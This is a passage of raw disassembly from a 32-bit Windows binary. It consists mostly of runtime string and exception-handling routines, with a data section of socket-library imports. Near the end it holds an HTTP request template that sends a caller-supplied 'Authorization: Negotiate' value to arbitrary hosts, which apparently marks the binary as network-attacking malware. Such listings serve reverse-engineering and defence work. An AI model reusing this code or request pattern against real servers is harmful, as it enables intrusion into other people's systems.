ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4227EE endp ; =============== S U B R O U T I N E ======================================= sub_42283C proc near ; DATA XREF: ___:off_424CB4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422858 test [esp+4+arg_0], 1 jz short loc_422852 push esi call sub_4182AF pop ecx loc_422852: ; CODE XREF: sub_42283C+Dj mov eax, esi pop esi retn 4 sub_42283C endp ; =============== S U B R O U T I N E ======================================= sub_422858 proc near ; CODE XREF: sub_42283C+3p ; DATA XREF: ___:0042502Co mov dword ptr [ecx], offset off_424CB4 jmp sub_4227AA sub_422858 endp ; =============== S U B R O U T I N E ======================================= sub_422863 proc near ; CODE XREF: sub_404514+13p ; sub_4046D8+Ep mov eax, offset loc_423134 call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4227EE push offset dword_425028 lea eax, [ebp-3Ch] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_422863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p ; sub_4228C0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_404514 mov eax, esi pop esi retn 4 sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A40 proc near jmp near ptr 71B2ACCBh sub_422A40 endp ; --------------------------------------------------------------------------- db 0D4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p nop jmp near ptr 71AB1B7Bh sub_422A46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p nop jmp near ptr 27D0000h sub_422A4C endp ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_48A0A8, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2840000h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_48A0A8, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_48A0A8 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_48A304, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi nop call near ptr 2860000h test eax, eax jz short loc_422CCC mov dword_48A304, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_43C824 push edi push esi call near ptr 2850000h nop test eax, eax jz loc_422E6D mov dword_48A304, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_48A304 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2790000h nop mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2790000h nop test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2620000h nop mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_4395A4 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_48A308 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi call near ptr 25D0000h nop test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_43C824 push esi push edi nop call near ptr 25E0000h test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_48A308, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25D0000h nop jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_48A0B8 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2790000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2790000h test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_48A0A8 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 25E0000h nop mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 2590000h, 2590199h, 25A0000h, 25A06B7h, 25B0000h, 25B0B33h dd 25B0B90h, 25B0F99h, 25C0000h, 25C04CEh, 25D0000h, 25E0000h dd 25E0821h, 25F0000h, 25F022Ch dword_42403C dd 25F023Fh ; DATA XREF: sub_41F48D+9r dd 25F02C7h, 25F051Dh, 25F05B8h, 25F06A1h, 25F0935h, 25F0973h dword_424058 dd 2600000h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 26000B8h, 26003C8h dword_424064 dd 2600833h ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 2600889h, 2610000h dword_424070 dd 2620000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 26210C4h ; DATA XREF: sub_4168E9+Br dword_424078 dd 2621910h ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2630000h, 26307E3h dword_424084 dd 2640000h ; DATA XREF: sub_40AB7C+36r dd 2640250h dword_42408C dd 26402CBh ; DATA XREF: sub_4168E9:loc_41697Ar dd 264032Fh, 2650000h, 2660000h, 2670000h dword_4240A0 dd 2670BF1h ; DATA XREF: sub_4165C6+32r dd 2680000h, 26802F9h, 268041Ah, 2690000h, 2690526h, 26A0000h dword_4240BC dd 26B0000h ; DATA XREF: sub_408EE5+26r dd 26B102Ah, 77F7E300h, 77F7E21Fh, 26B1A55h, 26C0000h dd 26C076Eh dword_4240D8 dd 26D0000h ; DATA XREF: sub_409037+BCr dword_4240DC dd 26D05DDh ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 26E0000h ; DATA XREF: sub_40981F:loc_409D0Fr dd 26E0273h dword_4240E8 dd 26F0000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 26F0CAFh ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 2700000h dword_4240F4 dd 27002FEh ; DATA XREF: sub_409392+56r dd 2700533h, 2700AB6h dword_424100 dd 2710000h ; DATA XREF: sub_40981F+2r dd 2710157h, 2720000h, 2720639h, 2720D35h, 2730000h, 27307D4h dd 2740000h, 27404D9h, 2750000h, 2751167h, 2751215h, 2760000h dd 2760468h, 2760885h dword_42413C dd 2760E6Ch ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 2770000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 27715E7h, 2780000h, 77E75CB5h dword_424150 dd 2790000h ; DATA XREF: sub_40DBB0+13r ; sub_41F48D+7Er ... dd 27A0000h, 27A0C7Ch, 27A0D62h dword_424160 dd 27B0000h ; DATA XREF: sub_40E6A9:loc_40E864r dd 27B02ADh dword_424168 dd 27B0823h ; DATA XREF: sub_4165C6:loc_4166B2r dd 27B09E9h, 27B0AC5h, 27B0BCBh, 27C0000h, 27C04E7h, 27C0710h dd 27C082Fh, 27D0000h, 27E0000h, 27F0000h, 2800000h, 2810000h dd 2811AF4h, 2811B2Dh, 2820000h, 2820E12h, 2830000h dword_4241B0 dd 28305BBh ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 28306BCh ; DATA XREF: sub_41B888:loc_41B8B9r dd 28308ACh, 2840000h, 28404BCh, 2850000h, 2860000h, 286128Eh dd 2861AAFh, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 